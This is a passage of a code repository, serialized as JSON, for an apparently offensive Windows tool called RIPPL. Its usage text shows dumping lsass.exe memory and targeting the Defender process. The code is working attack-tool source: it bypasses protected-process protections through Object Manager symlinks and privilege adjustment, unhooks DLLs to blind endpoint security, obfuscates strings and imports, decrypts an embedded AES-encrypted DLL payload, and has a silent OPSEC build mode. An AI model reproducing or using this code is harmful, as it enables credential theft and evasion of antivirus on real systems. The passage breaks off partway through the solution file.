MsMpEng.exe\\n\"\n\t\t\"  rippl.exe -D -f lsass.exe lsass.dmp\\n\"\n\t\t\"  rippl.exe -D -v -f 720 out.dmp\\n\"\n\t);\n}\n\nVOID PrintLastError(LPCWSTR pwszFunctionName)\n{\n\tDWORD dwLastError = LI_FN(GetLastError)();\n\twprintf(L\"[-] %ws failed with error code %d - %ws\\n\", pwszFunctionName, dwLastError, _com_error(HRESULT_FROM_WIN32(dwLastError)).ErrorMessage());\n}\n\nVOID PrintDebug(LPCWSTR pwszFormat, ...)\n{\n\tif (g_bDebug)\n\t{\n\t\tLPWSTR pwszDebugString = NULL;\n\t\tDWORD dwDebugStringLen = 0;\n\t\tva_list va;\n\t\tsize_t st_Offset = 0;\n\t\tWCHAR wszUsername[UNLEN + 1] = { 0 };\n\t\tDWORD dwUsernameLen = UNLEN;\n\n\t\tGetUserName(wszUsername, &dwUsernameLen);\n\n\t\tva_start(va, pwszFormat);\n\t\tdwDebugStringLen += _scwprintf(L\"[DEBUG][%ws] \", wszUsername) * sizeof(WCHAR);\n\t\tdwDebugStringLen += _vscwprintf(pwszFormat, va) * sizeof(WCHAR) + 2;\n\t\tpwszDebugString = (LPWSTR)LocalAlloc(LPTR, dwDebugStringLen);\n\n\t\tif (pwszDebugString)\n\t\t{\n\t\t\tStringCbPrintf(pwszDebugString, dwDebugStringLen, L\"[DEBUG][%ws] \", wszUsername);\n\n\t\t\tif (SUCCEEDED(StringCbLength(pwszDebugString, dwDebugStringLen, &st_Offset)))\n\t\t\t{\n\t\t\t\tStringCbVPrintf(&pwszDebugString[st_Offset / sizeof(WCHAR)], dwDebugStringLen - st_Offset, pwszFormat, va);\n\n\t\t\t\twprintf(L\"%ws\", pwszDebugString);\n\t\t\t}\n\n\t\t\tLocalFree(pwszDebugString);\n\t\t}\n\n\t\tva_end(va);\n\t}\n}\n\nBOOL ProcessGetProtectionLevel(DWORD dwProcessId, PDWORD pdwProtectionLevel)\n{\n\tBOOL bReturnValue = FALSE;\n\n\tHANDLE hProcess = NULL;\n\tPROCESS_PROTECTION_LEVEL_INFORMATION level = { 0 };\n\n\tif (!(hProcess = LI_FN(OpenProcess)(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwProcessId)))\n\t{\n\t\tPRINTLASTERROR(L\"OpenProcess\");\n\t\tgoto end;\n\t}\n\n\tif (!GetProcessInformation(hProcess, ProcessProtectionLevelInfo, &level, sizeof(level)))\n\t{\n\t\tPRINTLASTERROR(L\"GetProcessInformation\");\n\t\tgoto end;\n\t}\n\n\t*pdwProtectionLevel = level.ProtectionLevel;\n\tbReturnValue = TRUE;\n\nend:\n\tif (hProcess)\n\t\tCloseHandle(hProcess);\n\n\treturn bReturnValue;\n}\n\nBOOL ProcessGetProtectionLevelAsString(DWORD dwProcessId, LPWSTR* ppwszProtectionLevel)\n{\n\tBOOL bReturnValue = TRUE;\n\n\tDWORD dwProtectionLevel = 0;\n\tLPCWSTR pwszProtectionName = nullptr;\n\n\tif (!ProcessGetProtectionLevel(dwProcessId, &dwProtectionLevel))\n\t\treturn FALSE;\n\n\t*ppwszProtectionLevel = (LPWSTR)LocalAlloc(LPTR, 64 * sizeof(WCHAR));\n\tif (!*ppwszProtectionLevel)\n\t\treturn FALSE;\n\n\tswitch (dwProtectionLevel)\n\t{\n\tcase PROTECTION_LEVEL_WINTCB_LIGHT:\n\t\tpwszProtectionName = skCrypt(L\"PsProtectedSignerWinTcb-Light\");\n\t\tbreak;\n\tcase PROTECTION_LEVEL_WINDOWS:\n\t\tpwszProtectionName = skCrypt(L\"PsProtectedSignerWindows\");\n\t\tbreak;\n\tcase PROTECTION_LEVEL_WINDOWS_LIGHT:\n\t\tpwszProtectionName = skCrypt(L\"PsProtectedSignerWindows-Light\");\n\t\tbreak;\n\tcase PROTECTION_LEVEL_ANTIMALWARE_LIGHT:\n\t\tpwszProtectionName = skCrypt(L\"PsProtectedSignerAntimalware-Light\");\n\t\tbreak;\n\tcase PROTECTION_LEVEL_LSA_LIGHT:\n\t\tpwszProtectionName = skCrypt(L\"PsProtectedSignerLsa-Light\");\n\t\tbreak;\n\tcase PROTECTION_LEVEL_WINTCB:\n\t\tpwszProtectionName = skCrypt(L\"PsProtectedSignerWinTcb\");\n\t\tbreak;\n\tcase PROTECTION_LEVEL_CODEGEN_LIGHT:\n\t\tpwszProtectionName = skCrypt(L\"PsProtectedSignerCodegen-Light\");\n\t\tbreak;\n\tcase PROTECTION_LEVEL_AUTHENTICODE:\n\t\tpwszProtectionName = skCrypt(L\"PsProtectedSignerAuthenticode\");\n\t\tbreak;\n\tcase PROTECTION_LEVEL_PPL_APP:\n\t\tpwszProtectionName = skCrypt(L\"PsProtectedSignerPplApp\");\n\t\tbreak;\n\tcase PROTECTION_LEVEL_NONE:\n\t\tpwszProtectionName = skCrypt(L\"None\");\n\t\tbreak;\n\tdefault:\n\t\tpwszProtectionName = skCrypt(L\"Unknown\");\n\t\tbReturnValue = FALSE;\n\t}\n\n\tStringCchPrintfW(*ppwszProtectionLevel, 64, skCrypt(L\"%ws\"), pwszProtectionName);\n\t\n\treturn bReturnValue;\n}\n\nBOOL ProcessGetIntegrityLevel(DWORD dwProcessId, PDWORD pdwIntegrityLevel)\n{\n\tBOOL bReturnValue = FALSE;\n\n\tHANDLE hProcess = NULL;\n\tHANDLE hProcessToken = NULL;\n\tPTOKEN_MANDATORY_LABEL pLabel = NULL;\n\tDWORD dwLength = 0;\n\tDWORD dwIntegrityLevel = 0;\n\n\tif (!(hProcess = LI_FN(OpenProcess)(PROCESS_QUERY_INFORMATION, FALSE, dwProcessId)))\n\t\tgoto end;\n\n\tif (!OpenProcessToken(hProcess, TOKEN_QUERY, &hProcessToken))\n\t\tgoto end;\n\n\tGetTokenInformation(hProcessToken, TokenIntegrityLevel, pLabel, dwLength, &dwLength);\n\tif (LI_FN(GetLastError)() != ERROR_INSUFFICIENT_BUFFER)\n\t\tgoto end;\n\n\tpLabel = (PTOKEN_MANDATORY_LABEL)LocalAlloc(LPTR, dwLength);\n\tif (!pLabel)\n\t\tgoto end;\n\n\tif (!GetTokenInformation(hProcessToken, TokenIntegrityLevel, pLabel, dwLength, &dwLength))\n\t\tgoto end;\n\n\tdwIntegrityLevel = *GetSidSubAuthority(pLabel->Label.Sid, *GetSidSubAuthorityCount(pLabel->Label.Sid) - 1);\n\t*pdwIntegrityLevel = dwIntegrityLevel;\n\tbReturnValue = TRUE;\n\nend:\n\tif (pLabel)\n\t\tLocalFree(pLabel);\n\tif (hProcessToken)\n\t\tCloseHandle(hProcessToken);\n\tif (hProcess)\n\t\tCloseHandle(hProcess);\n\n\treturn bReturnValue;\n}\n\nBOOL ProcessGetPIDFromName(LPWSTR pwszProcessName, PDWORD pdwProcessId)\n{\n\tBOOL bReturnValue = FALSE;\n\n\tHANDLE hProcessSnap = NULL;\n\tPROCESSENTRY32 pe32 = { 0 };\n\tDWORD dwProcessId = 0;\n\tDWORD dwMatchCount = 0;\n\tBOOL bMatch = FALSE;\n\n\tif ((hProcessSnap = LI_FN(CreateToolhelp32Snapshot)(TH32CS_SNAPPROCESS, 0)) == INVALID_HANDLE_VALUE)\n\t{\n\t\tPRINTLASTERROR(L\"CreateToolhelp32Snapshot\");\n\t\tgoto end;\n\t}\n\n\tpe32.dwSize = sizeof(PROCESSENTRY32);\n\n\tif (!LI_FN(Process32FirstW)(hProcessSnap, &pe32))\n\t{\n\t\tPRINTLASTERROR(L\"Process32First\");\n\t\tgoto end;\n\t}\n\n\tdo\n\t{\n\t\tbMatch = FALSE;\n\n\t\tif (_wcsicmp(pe32.szExeFile, pwszProcessName) == 0)\n\t\t\tbMatch = TRUE;\n\t\telse\n\t\t{\n\t\t\tif (PathCchRemoveExtension(pe32.szExeFile, wcslen(pe32.szExeFile) + 1) == S_OK)\n\t\t\t{\n\t\t\t\tif (_wcsicmp(pe32.szExeFile, pwszProcessName) == 0)\n\t\t\t\t\tbMatch = TRUE;\n\t\t\t}\n\t\t}\n\n\t\tif (bMatch)\n\t\t{\n\t\t\tdwProcessId = pe32.th32ProcessID;\n\t\t\tdwMatchCount++;\n\t\t}\n\n\t} while (LI_FN(Process32NextW)(hProcessSnap, &pe32));\n\n\tif (dwMatchCount == 0)\n\t{\n\t\tWPRINTF(L\"[-] Failed to find a process that matches the provided name.\\n\");\n\t\tgoto end;\n\t}\n\n\tif (dwMatchCount > 1)\n\t{\n\t\tWPRINTF(L\"[-] Found more than one process that matches the provided name. Please provide a PID instead.\\n\");\n\t\tgoto end;\n\t}\n\n\t*pdwProcessId = dwProcessId;\n\tbReturnValue = TRUE;\n\nend:\n\tif (hProcessSnap)\n\t\tCloseHandle(hProcessSnap);\n\n\treturn bReturnValue;\n}\n\nHANDLE ObjectManagerCreateDirectory(LPCWSTR dirname)\n{\n\tOBJECT_ATTRIBUTES oa = { 0 };\n\tUNICODE_STRING name = { 0 };\n\tHANDLE hDirectory = NULL;\n\tNTSTATUS status = 0;\n\n\tLI_FN(RtlInitUnicodeString)(&name, dirname);\n\tInitializeObjectAttributes(&oa, &name, OBJ_CASE_INSENSITIVE, NULL, NULL);\n\n\tstatus = LI_FN(NtCreateDirectoryObjectEx)(&hDirectory, DIRECTORY_ALL_ACCESS, &oa, nullptr, FALSE);\n\tSetLastError(LI_FN(RtlNtStatusToDosError)(status));\n\tif (status != 0)\n\t{\n\t\tPRINTLASTERROR(L\"NtCreateDirectoryObjectEx\");\n\t\treturn NULL;\n\t}\n\n\treturn hDirectory;\n}\n\nHANDLE ObjectManagerCreateSymlink(LPCWSTR linkname, LPCWSTR targetname)\n{\n\tOBJECT_ATTRIBUTES oa = { 0 };\n\tUNICODE_STRING name = { 0 };\n\tUNICODE_STRING target = { 0 };\n\tHANDLE hLink = NULL;\n\tNTSTATUS status = 0;\n\n\tLI_FN(RtlInitUnicodeString)(&name, linkname);\n\tLI_FN(RtlInitUnicodeString)(&target, targetname);\n\tInitializeObjectAttributes(&oa, &name, OBJ_CASE_INSENSITIVE, NULL, NULL);\n\n\tstatus = LI_FN(NtCreateSymbolicLinkObject)(&hLink, SYMBOLIC_LINK_ALL_ACCESS, &oa, &target);\n\tSetLastError(LI_FN(RtlNtStatusToDosError)(status));\n\tif (status != 0)\n\t{\n\t\tPRINTLASTERROR(L\"NtCreateSymbolicLinkObject\");\n\t\treturn NULL;\n\t}\n\n\treturn hLink;\n}\n\nBOOL TokenGetSid(HANDLE hToken, PSID* ppSid)\n{\n\tBOOL bReturnValue = TRUE;\n\tDWORD dwSize = 0;\n\tPTOKEN_USER pTokenUser = NULL;\n\n\tif (!GetTokenInformation(hToken, TokenUser, NULL, 0, &dwSize))\n\t{\n\t\tif (LI_FN(GetLastError)() != ERROR_INSUFFICIENT_BUFFER) {\n\t\t\tPRINTLASTERROR(L\"GetTokenInformation\");\n\t\t\tgoto end;\n\t\t}\n\t}\n\n\tpTokenUser = (PTOKEN_USER)LocalAlloc(LPTR, dwSize);\n\tif (!pTokenUser)\n\t\tgoto end;\n\n\tif (!GetTokenInformation(hToken, TokenUser, pTokenUser, dwSize, &dwSize))\n\t{\n\t\tPRINTLASTERROR(L\"GetTokenInformation\");\n\t\tgoto end;\n\t}\n\n\t*ppSid = (PSID)LocalAlloc(LPTR, SECURITY_MAX_SID_SIZE);\n\tif (!*ppSid)\n\t\tgoto end;\n\n\tif (!CopySid(SECURITY_MAX_SID_SIZE, *ppSid, pTokenUser->User.Sid))\n\t{\n\t\tPRINTLASTERROR(L\"CopySid\");\n\t\tLocalFree(*ppSid);\n\t\tgoto end;\n\t}\n\n\tbReturnValue = TRUE;\n\nend:\n\tif (pTokenUser)\n\t\tLocalFree(pTokenUser);\n\n\treturn bReturnValue;\n}\n\nBOOL TokenGetSidAsString(HANDLE hToken, LPWSTR* ppwszStringSid)\n{\n\tBOOL bReturnValue = FALSE;\n\tPSID pSid = NULL;\n\n\tif (TokenGetSid(hToken, &pSid))\n\t{\n\t\tif (ConvertSidToStringSid(pSid, ppwszStringSid))\n\t\t{\n\t\t\tbReturnValue = TRUE;\n\t\t}\n\t\tLocalFree(pSid);\n\t}\n\n\treturn bReturnValue;\n}\n\nBOOL TokenCompareSids(PSID pSidA, PSID pSidB)\n{\n\tBOOL bReturnValue = FALSE;\n\tLPWSTR pwszSidA = NULL;\n\tLPWSTR pwszSidB = NULL;\n\n\tif (ConvertSidToStringSid(pSidA, &pwszSidA) && ConvertSidToStringSid(pSidB, &pwszSidB))\n\t{\n\t\tbReturnValue = _wcsicmp(pwszSidA, pwszSidB) == 0;\n\t\tLocalFree(pwszSidA);\n\t\tLocalFree(pwszSidB);\n\t}\n\telse\n\t\tPRINTLASTERROR(L\"ConvertSidToStringSid\");\n\n\treturn bReturnValue;\n}\n\nBOOL TokenGetUsername(HANDLE hToken, LPWSTR* ppwszUsername)\n{\n\tBOOL bReturnValue = FALSE;\n\tPSID pSid = NULL;\n\tconst DWORD dwMaxSize = 256;\n\tWCHAR wszUsername[dwMaxSize] = { 0 };\n\tWCHAR wszDomain[dwMaxSize] = { 0 };\n\tDWORD dwMaxUsername = dwMaxSize;\n\tDWORD dwMaxDomain = dwMaxSize;\n\tSID_NAME_USE type;\n\n\tif (!TokenGetSid(hToken, &pSid))\n\t\tgoto end;\n\n\tif (!LookupAccountSid(NULL, pSid, wszUsername, &dwMaxUsername, wszDomain, &dwMaxDomain, &type))\n\t{\n\t\tPRINTLASTERROR(L\"LookupAccountSid\");\n\t\tgoto end;\n\t}\n\n\t*ppwszUsername = (LPWSTR)LocalAlloc(LPTR, (dwMaxSize * 2 + 1) * sizeof(WCHAR));\n\tif (!*ppwszUsername)\n\t\tgoto end;\n\n\tStringCchPrintf(*ppwszUsername, dwMaxSize * 2 + 1, skCrypt(L\"%ws\\\\%ws\"), wszDomain, wszUsername);\n\tbReturnValue = TRUE;\n\nend:\n\tif (pSid)\n\t\tLocalFree(pSid);\n\n\treturn bReturnValue;\n}\n\nBOOL TokenCheckPrivilege(HANDLE hToken, LPCWSTR pwszPrivilege, BOOL bEnablePrivilege)\n{\n\tBOOL bReturnValue = FALSE;\n\tDWORD dwTokenPrivilegesSize = 0, i = 0, dwPrivilegeNameLength = 0;\n\tPTOKEN_PRIVILEGES pTokenPrivileges = NULL;\n\tLUID_AND_ATTRIBUTES laa = { 0 };\n\tTOKEN_PRIVILEGES tp = { 0 };\n\tLPWSTR pwszPrivilegeNameTemp = NULL;\n\n\tif (!GetTokenInformation(hToken, TokenPrivileges, NULL, dwTokenPrivilegesSize, &dwTokenPrivilegesSize))\n\t{\n\t\tif (LI_FN(GetLastError)() != ERROR_INSUFFICIENT_BUFFER)\n\t\t{\n\t\t\tPRINTLASTERROR(L\"GetTokenInformation\");\n\t\t\tgoto end;\n\t\t}\n\t}\n\n\tpTokenPrivileges = (PTOKEN_PRIVILEGES)LocalAlloc(LPTR, dwTokenPrivilegesSize);\n\tif (!pTokenPrivileges)\n\t\tgoto end;\n\n\tif (!GetTokenInformation(hToken, TokenPrivileges, pTokenPrivileges, dwTokenPrivilegesSize, &dwTokenPrivilegesSize))\n\t{\n\t\tPRINTLASTERROR(L\"GetTokenInformation\");\n\t\tgoto end;\n\t}\n\n\tfor (i = 0; i < pTokenPrivileges->PrivilegeCount; i++)\n\t{\n\t\tlaa = pTokenPrivileges->Privileges[i];\n\t\tdwPrivilegeNameLength = 0;\n\n\t\tif (!LI_FN(LookupPrivilegeNameW)(nullptr, &(laa.Luid), nullptr, &dwPrivilegeNameLength))\n\t\t{\n\t\t\tif (LI_FN(GetLastError)() != ERROR_INSUFFICIENT_BUFFER)\n\t\t\t{\n\t\t\t\tPRINTLASTERROR(L\"LookupPrivilegeName\");\n\t\t\t\tgoto end;\n\t\t\t}\n\t\t}\n\n\t\tdwPrivilegeNameLength++;\n\n\t\tif (pwszPrivilegeNameTemp = (LPWSTR)LocalAlloc(LPTR, dwPrivilegeNameLength * sizeof(WCHAR)))\n\t\t{\n\t\t\tif (LI_FN(LookupPrivilegeNameW)(nullptr, &(laa.Luid), pwszPrivilegeNameTemp, &dwPrivilegeNameLength))\n\t\t\t{\n\t\t\t\tif (!_wcsicmp(pwszPrivilegeNameTemp, pwszPrivilege))\n\t\t\t\t{\n\t\t\t\t\tif (bEnablePrivilege)\n\t\t\t\t\t{\n\t\t\t\t\t\tZeroMemory(&tp, sizeof(TOKEN_PRIVILEGES));\n\t\t\t\t\t\ttp.PrivilegeCount = 1;\n\t\t\t\t\t\ttp.Privileges[0].Luid = laa.Luid;\n\t\t\t\t\t\ttp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;\n\n\t\t\t\t\t\tif (LI_FN(AdjustTokenPrivileges)(hToken, FALSE, &tp, (DWORD)sizeof(TOKEN_PRIVILEGES), nullptr, nullptr))\n\t\t\t\t\t\t\tbReturnValue = TRUE;\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tPRINTLASTERROR(L\"AdjustTokenPrivileges\");\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tbReturnValue = TRUE;\n\t\t\t\t\t}\n\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t\tPRINTLASTERROR(L\"LookupPrivilegeName\");\n\n\t\t\tLocalFree(pwszPrivilegeNameTemp);\n\t\t}\n\t}\n\nend:\n\tif (pTokenPrivileges)\n\t\tLocalFree(pTokenPrivileges);\n\n\treturn bReturnValue;\n}\n\nBOOL TokenIsNotRestricted(HANDLE hToken, PBOOL pbIsNotRestricted)\n{\n\tBOOL bReturnValue = FALSE;\n\n\tDWORD dwSize = 0;\n\tPTOKEN_GROUPS pTokenGroups = NULL;\n\n\tif (!GetTokenInformation(hToken, TokenRestrictedSids, NULL, dwSize, &dwSize))\n\t{\n\t\tif (LI_FN(GetLastError)() != ERROR_INSUFFICIENT_BUFFER)\n\t\t{\n\t\t\tPRINTLASTERROR(L\"GetTokenInformation\");\n\t\t\tgoto end;\n\t\t}\n\t}\n\n\tpTokenGroups = (PTOKEN_GROUPS)LocalAlloc(LPTR, dwSize);\n\tif (!pTokenGroups)\n\t\tgoto end;\n\n\tif (!GetTokenInformation(hToken, TokenRestrictedSids, pTokenGroups, dwSize, &dwSize))\n\t{\n\t\tPRINTLASTERROR(L\"GetTokenInformation\");\n\t\tgoto end;\n\t}\n\n\t*pbIsNotRestricted = pTokenGroups->GroupCount == 0;\n\n\tbReturnValue = TRUE;\n\nend:\n\tif (pTokenGroups)\n\t\tLocalFree(pTokenGroups);\n\n\treturn bReturnValue;\n}\n\nBOOL MiscSystemArchIsAmd64()\n{\n\tSYSTEM_INFO sysinfo = { 0 };\n\tGetNativeSystemInfo(&sysinfo);\n\treturn sysinfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64;\n}\n\nBOOL MiscGenerateGuidString(LPWSTR* ppwszGuid)\n{\n\tBOOL bReturnValue = FALSE;\n\n\tUUID uuid = { 0 };\n\tRPC_WSTR wstrGuid = NULL;\n\n\tif (UuidCreate(&uuid) != RPC_S_OK)\n\t\tgoto end;\n\n\tif (UuidToString(&uuid, &wstrGuid) != RPC_S_OK)\n\t\tgoto end;\n\n\t*ppwszGuid = (LPWSTR)LocalAlloc(LPTR, (wcslen((LPWSTR)wstrGuid) + 1) * sizeof(WCHAR));\n\tif (!*ppwszGuid)\n\t\tgoto end;\n\n\tStringCchPrintfW(*ppwszGuid, wcslen((LPWSTR)wstrGuid), skCrypt(L\"%ws\"), (LPWSTR)wstrGuid);\n\tbReturnValue = TRUE;\n\nend:\n\tif (wstrGuid)\n\t\tRpcStringFree(&wstrGuid);\n\n\treturn bReturnValue;\n}\n\nbool AESDecrypt(_Inout_ BYTE* payload, _In_ DWORD payload_len, _In_ BYTE* key, _In_ DWORD keylen, _In_ BYTE* iv, _In_ DWORD IVlength) {\n\n\twil::unique_bcrypt_algorithm hAlg;\n\twil::unique_bcrypt_key hKey;\n\tULONG results = 0;\n\tNTSTATUS status = STATUS_UNSUCCESSFUL;\n\n\tstatus = LI_FN(BCryptOpenAlgorithmProvider)(&hAlg, skCrypt(L\"AES\"), nullptr, 0);\n\tif (!NT_SUCCESS(status))\n\t{\n\t\treturn false;\n\t}\n\n\tstatus = LI_FN(BCryptGenerateSymmetricKey)(hAlg.get(), &hKey, nullptr, 0, key, keylen, 0);\n\tif (!NT_SUCCESS(status))\n\t{\n\t\treturn false;\n\t}\n\n\tstatus = LI_FN(BCryptDecrypt)(hKey.get(), payload, payload_len, nullptr, iv, IVlength, payload, payload_len, &results, BCRYPT_BLOCK_PADDING);\n\tif (!NT_SUCCESS(status))\n\t{\n\t\treturn false;\n\t}\n\n\treturn true;\n}\n\nbool UnhookDll(_In_ LPCWSTR lpszDllName)\n{\n\tMODULEINFO mi = { 0 };\n\tDWORD oldProtection = 0;\n\tLPVOID dllBase = nullptr;\n\twil::unique_handle dllFile;\n\twil::unique_handle dllMapping;\n\twil::unique_hmodule dllModule;\n\tLPVOID dllMappingAddress = nullptr;\n\tPIMAGE_DOS_HEADER hookedDosHeader = nullptr;\n\tPIMAGE_NT_HEADERS hookedNtHeader = nullptr;\n\tPIMAGE_SECTION_HEADER hookedSectionHeader = nullptr;\n\tbool isProtected = false;\n\twchar_t lpszDllPath[MAX_PATH + 1] = { 0 };\n\n\tdllModule.reset(LI_FN(GetModuleHandleW)(lpszDllName));\n\tif (!dllModule)\n\t{\n\t\tPRINTLASTERROR(L\"UnhookDll - \");\n\t\treturn false;\n\t}\n\n\tif (!LI_FN(GetModuleFileNameW)(dllModule.get(), lpszDllPath, MAX_PATH))\n\t{\n\t\tPRINTLASTERROR(L\"UnhookDll - \");\n\t\treturn false;\n\t}\n\n\tif (!LI_FN(K32GetModuleInformation)(LI_FN(GetCurrentProcess)(), dllModule.get(), &mi, (DWORD)sizeof(mi)))\n\t{\n\t\tPRINTLASTERROR(L\"UnhookDll - \");\n\t\treturn false;\n\t}\n\n\tdllBase = (LPVOID)mi.lpBaseOfDll;\n\n\tdllFile.reset(CreateFileW(lpszDllPath, GENERIC_READ, FILE_SHARE_READ, nullptr, OPEN_EXISTING, 0, nullptr));\n\tif (!dllFile.is_valid())\n\t{\n\t\tPRINTLASTERROR(L\"UnhookDll - \");\n\t\treturn false;\n\t}\n\n\tdllMapping.reset(LI_FN(CreateFileMappingW)(dllFile.get(), nullptr, PAGE_READONLY | SEC_IMAGE, 0, 0, nullptr));\n\tif (!dllMapping.is_valid())\n\t{\n\t\tPRINTLASTERROR(L\"UnhookDll - \");\n\t\treturn false;\n\t}\n\n\tdllMappingAddress = LI_FN(MapViewOfFile)(dllMapping.get(), FILE_MAP_READ, 0, 0, 0);\n\tif (!dllMappingAddress)\n\t{\n\t\tPRINTLASTERROR(L\"UnhookDll - \");\n\t\treturn false;\n\t}\n\n\thookedDosHeader = (PIMAGE_DOS_HEADER)dllBase;\n\tif (!hookedDosHeader)\n\t{\n\t\tPRINTLASTERROR(L\"UnhookDll - \");\n\t\treturn false;\n\t}\n\n\thookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBase + hookedDosHeader->e_lfanew);\n\n\tfor (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {\n\t\thookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));\n\n\t\tif (strcmp((char*)hookedSectionHeader->Name, skCrypt(\".text\")) == 0) {\n\t\t\tisProtected = LI_FN(VirtualProtect)((LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);\n\t\t\tmemcpy((LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)dllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);\n\t\t\tisProtected = LI_FN(VirtualProtect)((LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);\n\t\t\tPRINTDEBUG(L\"[+] Dll %ws successfully unhooked!\\n\", lpszDllName);\n\t\t}\n\t}\n\n\treturn true;\n}"
  },
  {
    "path": "RIPPL/utils.h",
    "content": "#pragma once\n#pragma warning(disable: 4503)\n\n#include \"common.hpp\"\n\n#include <pathcch.h>\n#include <bcrypt.h>\n\n#pragma comment (lib, \"bcrypt.lib\")\n#pragma comment(lib, \"Rpcrt4.lib\")\n#pragma comment(lib, \"Pathcch.lib\")\n\n#ifndef OPSEC\n#define AUTHOR L\"@last0x00\"\n#define VERSION L\"0.3\"\n#define PRINTDEBUG(...) PrintDebug(__VA_ARGS__)\n#define PRINTLASTERROR(str) PrintLastError(str)\n#define PRINTUSAGE() PrintUsage()\n#define PRINTARGUMENTS() PrintArguments()\n#define WPRINTF(...) wprintf(__VA_ARGS__)\n#define PRINTF(...) printf(__VA_ARGS__)\n#define ADVLOG 1\n#else\n#define AUTHOR L\"\"\n#define VERSION L\"\"\n#define PRINTDEBUG(...)\n#define PRINTLASTERROR(str)\n#define PRINTUSAGE()\n#define PRINTARGUMENTS()\n#define WPRINTF(...)\n#endif\n\n#define AESKEY {0}\n#define IV {0}\n\nextern BOOL g_bDebug;\nextern BOOL g_bForce;\nextern DWORD g_dwProcessId;\nextern LPWSTR g_pwszDumpFilePath;\nextern LPWSTR g_pwszProcessName;\nextern LPWSTR g_pwszExecutionMode;\nextern int g_intExecutionMode;\n\nBOOL ParseArguments(int argc, wchar_t* argv[]);\nVOID PrintArguments();\nVOID PrintUsage();\n\nVOID PrintLastError(LPCWSTR pwszFunctionName);\nVOID PrintDebug(LPCWSTR pwszFormat, ...);\n\nBOOL ProcessGetProtectionLevel(DWORD dwProcessId, PDWORD pdwProtectionLevel);\nBOOL ProcessGetProtectionLevelAsString(DWORD dwProcessId, LPWSTR* ppwszProtectionLevel);\nBOOL ProcessGetIntegrityLevel(DWORD dwProcessId, PDWORD pdwIntegrityLevel);\nBOOL ProcessGetPIDFromName(LPWSTR pwszProcessName, PDWORD pdwProcessId);\n\nHANDLE ObjectManagerCreateDirectory(LPCWSTR dirname);\nHANDLE ObjectManagerCreateSymlink(LPCWSTR linkname, LPCWSTR targetname);\n\nBOOL TokenGetSid(HANDLE hToken, PSID* ppSid);\nBOOL TokenGetSidAsString(HANDLE hToken, LPWSTR* ppwszStringSid);\nBOOL TokenCompareSids(PSID pSidA, PSID pSidB);\nBOOL TokenGetUsername(HANDLE hToken, LPWSTR* ppwszUsername);\nBOOL TokenCheckPrivilege(HANDLE hToken, LPCWSTR pwszPrivilege, BOOL bEnablePrivilege);\nBOOL TokenIsNotRestricted(HANDLE hToken, PBOOL pbIsNotRestricted);\nBOOL MiscSystemArchIsAmd64();\nBOOL MiscGenerateGuidString(LPWSTR* ppwszGuid);\nbool AESDecrypt(_Inout_ BYTE* payload, _In_ DWORD payload_len, _In_ BYTE* key, _In_ DWORD keylen, _In_ BYTE* iv, _In_ DWORD IVlength);\nbool UnhookDll(_In_ LPCWSTR lpszDllName);"
  },
  {
    "path": "RIPPL/winver.manifest",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n<assembly manifestVersion=\"1.0\" xmlns=\"urn:schemas-microsoft-com:asm.v1\" xmlns:asmv3=\"urn:schemas-microsoft-com:asm.v3\">\n    <compatibility xmlns=\"urn:schemas-microsoft-com:compatibility.v1\">\n        <application>\n            <!-- Windows 10 -->\n            <supportedOS Id=\"{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}\"/>\n            <!-- Windows 8.1 -->\n            <supportedOS Id=\"{1f676c76-80e1-4239-95bb-83d0f6d0da78}\"/>\n        </application>\n    </compatibility>\n</assembly>\n"
  },
  {
    "path": "RIPPL.sln",
    "content": "﻿\nMicrosoft Visual Studio Solution File, Format Version 12.00\n# Visual Studio Version 16\nVisualStudioVersion = 16.0.30907.101\nMinimumVisualStudioVersion = 10.0.40219.1\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"RIPPL\", \"RIPPL\\RIPPL.vcxproj\", \"{FCE81BDA-ACAC-4892-969E-0414E765593B}\"\n\tProjectSection(ProjectDependencies) = postProject\n\t\t{6E8D2C12-255B-403C-9EF3-8A097D374DB2} = {6E8D2C12-255B-403C-9EF3-8A097D374DB2}\n\tEndProjectSection\nEndProject\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"RIPPLDLL\", \"RIPPLDLL\\RIPPLDLL.vcxproj\", \"{6E8D2C12-255B-403C-9EF3-8A097D374DB2}\"\nEndProject\nProject(\"{2150E333-8FDC-42A3-9474-1A3956D46DE8}\") = \"Solution Folder\", \"Solution Folder\", \"{1202314C-D86A-4E1D-AC67-92AD9CF7B45A}\"\n\tProjectSection(SolutionItems) = preProject\n\t\tcarboncopy.py = carboncopy.py\n\t\tDLL_encrypt.py = DLL_encrypt.py\n\t\tpostbuild.bat = postbuild.bat\n\t\tREADME.md = README.md\n\t\trestore_headers.py = restore_headers.py\n\tEndProjectSection\nEndProject\nGlobal\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\n\t\tDebug|x64 = Debug|x64\n\t\tDebug|x86 = Debug|x86\n\t\tRelease|x64 = Release|x64\n\t\tRelease|x86 = Release|x86\n\tEndGlobalSection\n\tGlobalSection(ProjectConfigurationPlatforms) = 